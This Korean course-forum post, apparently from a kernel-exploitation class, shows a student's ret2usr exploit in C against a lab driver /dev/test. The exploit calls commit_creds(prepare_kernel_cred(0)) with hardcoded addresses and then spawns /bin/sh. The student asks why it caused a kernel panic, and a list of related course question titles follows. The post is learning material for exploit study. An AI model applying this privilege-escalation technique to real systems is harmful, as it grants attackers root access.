ret2usr 기법 관련 질문있습니다.
332
작성한 질문수 1
안녕하세요.
ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다.
/*
gcc -masm=intel -static -o test_exp test_exp.c -no-pie
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
void payload(void) {
commit_creds(prepare_kernel_cred(0));
execl("/bin/sh", "sh", NULL);
}
int main() {
int fd;
void *ptr = 0;
commit_creds = 0xffffffff8108e9f0;
prepare_kernel_cred = 0xffffffff8108ec20;
fd = open("/dev/test", O_RDWR);
ptr = &payload;
printf("Shell executing...\n");
write(fd, &ptr, sizeof(ptr));
close(fd);
printf("Shell executed?\n");
return 0;
}
payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,
위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다.
결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요.
그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.
답변 1
강의 들으며 정리한 글을 블로그에 공개로 올려도 될까요?
0
80
2
cred 구조체에 __randomize_layout이 적용된건가요?
0
84
1
ppt자료 문의
0
108
2
빌드환경 및 커널소스의 버전
0
138
1
Stack based BOF 강의에서 질문입니다.
0
184
2
kaslr 우회 기법에서 commit_creds, prepare_kernel_cred의 offset을 구하는 과정 질문
0
215
1
CTF 참가 시 전문 분야
0
316
1
SMAP 우회에서 궁금한게 하나 있습니다.
0
405
2
KADR 우회에서 init파일이 없는 경우는 어떻게 하나요?
0
463
1
KADR 우회에서 init파일이 없는 경우는 어떻게 하나요
0
312
1
여전히 해결책 없는 build_result
0
426
1
KASLR 강의에서 주어진 환경에서는 /proc/kallsyms 확인 못하는 것이 맞나요?
0
606
1
build_result가 안보입니다
0
288
1
kernel stack pivoting에서 gadget 관련 질문드립니다.
0
505
1
안녕하세요 수강중 궁금한 것이 있습니다.
0
574
2
pwndbg가 커널에 attach는 되는데 디스어셈코드나 레지스터 표시가 안됩니다.
0
581
1
가젯에 대해 이해가 잘 안됩니다.
0
608
1
Kernel KPTI 적용시 영향?
0
656
1
qemu 스크립트 실행시 Kernel panic이 발생합니다.
0
880
2
Kernel UAF
0
649
1
디버깅 방법
0
935
3
강의 자료 문의
0
379
1
boot.sh 실행시
0
364
1
Kernel Debugging
0
412
1





